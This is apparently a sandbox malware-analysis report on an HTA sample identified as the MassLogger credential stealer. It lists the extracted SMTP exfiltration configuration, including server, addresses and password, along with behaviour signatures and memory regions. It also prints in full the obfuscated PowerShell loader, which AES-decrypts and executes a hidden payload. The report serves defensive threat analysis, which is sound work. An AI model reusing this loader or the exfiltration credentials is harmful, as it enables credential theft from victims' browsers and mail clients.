Analysis

  • max time kernel
    148s
  • max time network
    123s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260618-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    23/06/2026, 12:33

General

  • Target
    SIPARIS N°835.hta
  • Size 34KB
  • Sample260623-prezescy2p
  • SHA256 5ed8a508c7bc69b2a117f713ed2616a7c93fa650578b2a08eaed8be2fd282a72
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • masslogger

Attributes
  • exfiltration_mode

    #SMTPEnabled

  • expire_time_date

    2025-05-04

  • host_password

    5=Ln#$?nW-5;a%Pb

  • host_port

    587

  • host_receiver

    [email protected]

  • host_sender

    [email protected]

  • host_server

    mail.miniorangeman.com

  • ssl_slate

    True

Signatures

  • Family: MassLogger

    Masslogger is a .NET stealer targeting passwords from browsers, email and cryptocurrency clients.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\SIPARIS N°835.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • System Location Discovery: System Language Discovery
    PID:6192
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "try { $Savoyard = [System.Text.Encoding]::UTF8.GetBytes('6DZz4H02dcNPCr7R'); if ($Savoyard.Length -lt 32) { $Savoyard = $Savoyard + (0..(31 - $Savoyard.Length)) }; $sarmas = [Convert]::FromBase64String('8R0ImozAtS8OW/emmD00rWVSAXU+ftYNiMwZK5xczr7pKj1eYcl7mH728j3giNP8ycVdjlV6Y1y2GH585SQZhRQGhKZedSiRnCrss01UGwhxMRt/NkRsOjdCQMf1BSA2PYFskYtqZ6R3Ymfe/9mGfLvtseZ0/oC0krT7w+sH/nYrBStaDEjv7dSMt0k+1vBeEjcPyD2G/a3ONnIws2R7gaWpf+kbhNnjhIC/skSIJHbZE7D2VwigoSiiiUT1ejGqZRreqDW87lw+rocL6diXpCZ3+w6e38aYfJYGWxYYa9giLScDkrleWADWs9LmPWAiwiTTJQOEYDqrSZsnhS+2aZa8v92vsLvZWMTpB1+OvH9zms1/3aoWVrJ9aMnqouBcbAdHwD/tLZM/gAaAhYojk+MG1xMYC3fVAXlDj/sBqMMiXZAp2TgQdZGnel/S4Db8hjOEMGzzYpEntgGsyKhYsZnX/V1Q16joM7QH/WuCZ8RMmHQjuTAdbXJ6pzG/owgWhbz6zQOxTtWFO1NQsWbPjhwyPFp59aoTcQd3OdANbUBARBgckh0htvyQbX5iJHqpkaarRgKoYGo3qHGhWdTMmqhMaPJIwyxXxOPu/08Oiqtrllm5fKg+VRAG/MsLmpm4eMwoOW8N2+XFy0Sf2PscsvshN2W2ibcLqlKlQS26zhigcdyuv+ea2Hq9/2jFQqrcojz/2btSZi8mp0sCeMfQbuWwxD7vL+LZ5gUDT58Ux7NSNCSbvTV80mH67KW8bmJy3vW06cpFeq8gGzq7iqJBwUvfxSJF3zZlbyjlbacWAKxgs9J3Wga/qoHUN45md884JQtw125u7y60vZQQwzdBPdg4ikw/RkoHJkxguyvj4M00CF8pND2AnNfa3W2QRj5r3u1UeHgXAHndETWGjw4T/JPbtL1a0C2HF5RPDqIwjjB5FCqdf4GuIwczMGAlDREKU8Ac2nnD721tXhZH00KzSMsdjgqswkgy6Le/a0apoURx2xSIWBrvtOV/YYzTScxY1alVi6TMOUxCmj2ilKf0oPyWCuwSHPxUMBPsQcMsdu5VDN0H6ZyU0MbdMCcDf0klgEMbQ6MMFUh3aKupzf54wUbkZqSZTwtKuTv2+4cSjXf3nJCv093HgjO5eTB7YJkimX57i/HYSrH3awimreonKaCvzklJuKhty8CQIVE8XGGO3vtit0gvNEoU0dGUaOONZarMcNeBshPKTl7p2rad96sHAlFxZmzjOxWRbH4s/TDPRlbdxRrVFO8GCF2ZVyhJpcXs/B6oJwrfYyNcEwf6BsciGImiOoOf2CZJzaDXZgl6gh+J4+lXnwvjS7x36jtwceLzx0dkcdfD4F7j2hX8GzmuQjy5HORSYoAeQQ344tQxcF12V00aQN+mJKUp3ehcsbwF9Rpj+ctE+c639IDCZTMokVOLkOW9BNwb1VAFLjFu1e+HMXy+RHtd0fxQkvRiUvuack71yVBW1wKQV4WhLIpMcbKtvaTD79j22Cem50lgzfbiX5OkGP8+5JC/K17nr8Xxdd/KkeQc3jX/TWZl3U+X6qu1uZFfEAtxRVjrg3QlM5lfwzAm8uE5PrRI08lxB63liCEkzamPeXDxiXjuAARPZOR1H7d049Ru00l/q6bd+t2iUDiDpowvur55UlTGDU073nZhWDfPDB6qBAwDX8NEw1j3IQVuy3DJ2PfA8G1y2wDuZn7LmqD8trwUXAn5eW5KBtxGiQ8iOqY+lbS1KQPMUqU9g1nmUFb2DDh8ftE='); $misprized = $sarmas[0..15]; $picapica = $sarmas[16..($sarmas.Length-1)]; $glama = [System.Security.Cryptography.Aes]::Create(); $glama.Key = $Savoyard; $glama.IV = $misprized; $vandalistic = $glama.CreateDecryptor(); $pseudology = $vandalistic.TransformFinalBlock($picapica, 0, $picapica.Length); $carburetors = [System.Text.Encoding]::UTF8.GetString($pseudology); Invoke-Expression $carburetors; } catch {}"
    1⤵
    • Process spawned unexpected child process
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:5252
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"
      2⤵
        PID:3500
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"
        2⤵
          PID:764
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"
          2⤵
            PID:2196
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"
            2⤵
            • Accesses Microsoft Outlook profiles
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • outlook_office_path
            • outlook_win_path
            PID:4576

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

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              Downloads

              __PSScriptPolicyTest_cjfda45q.y3t.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cjfda45q.y3t.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512 TLSH

              memory/4576-22-0x0000000000400000-0x000000000041C000-memory.dmp

              memory/4576-30-0x0000000006DC0000-0x0000000006DCA000-memory.dmp

              memory/4576-29-0x0000000006F40000-0x0000000007102000-memory.dmp

              memory/4576-28-0x0000000006B80000-0x0000000006BD0000-memory.dmp

              memory/4576-27-0x0000000006BD0000-0x0000000006C62000-memory.dmp

              memory/4576-26-0x0000000005B10000-0x0000000005BAC000-memory.dmp

              memory/4576-25-0x0000000005FF0000-0x00000000065AA000-memory.dmp

              memory/5252-17-0x00007FFED96F0000-0x00007FFEDA094000-memory.dmp

              memory/5252-13-0x00007FFED96F0000-0x00007FFEDA094000-memory.dmp

              memory/5252-15-0x00007FFED96F0000-0x00007FFEDA094000-memory.dmp

              memory/5252-16-0x00007FFED96F0000-0x00007FFEDA094000-memory.dmp

              memory/5252-0-0x00007FFED987F000-0x00007FFED9880000-memory.dmp

              memory/5252-18-0x00007FFED96F0000-0x00007FFEDA094000-memory.dmp

              memory/5252-19-0x00007FFED96F0000-0x00007FFEDA094000-memory.dmp

              memory/5252-20-0x000001A57A230000-0x000001A57A352000-memory.dmp

              memory/5252-21-0x000001A579F60000-0x000001A579F6A000-memory.dmp

              memory/5252-14-0x00007FFED96F0000-0x00007FFEDA094000-memory.dmp

              memory/5252-24-0x00007FFED96F0000-0x00007FFEDA094000-memory.dmp

              memory/5252-12-0x00007FFED96F0000-0x00007FFEDA094000-memory.dmp

              memory/5252-11-0x00007FFED96F0000-0x00007FFEDA094000-memory.dmp

              memory/5252-10-0x00007FFED96F0000-0x00007FFEDA094000-memory.dmp

              memory/5252-9-0x00007FFED96F0000-0x00007FFEDA094000-memory.dmp

              memory/5252-7-0x000001A579CE0000-0x000001A579D02000-memory.dmp

              memory/5252-6-0x00007FFED96F0000-0x00007FFEDA094000-memory.dmp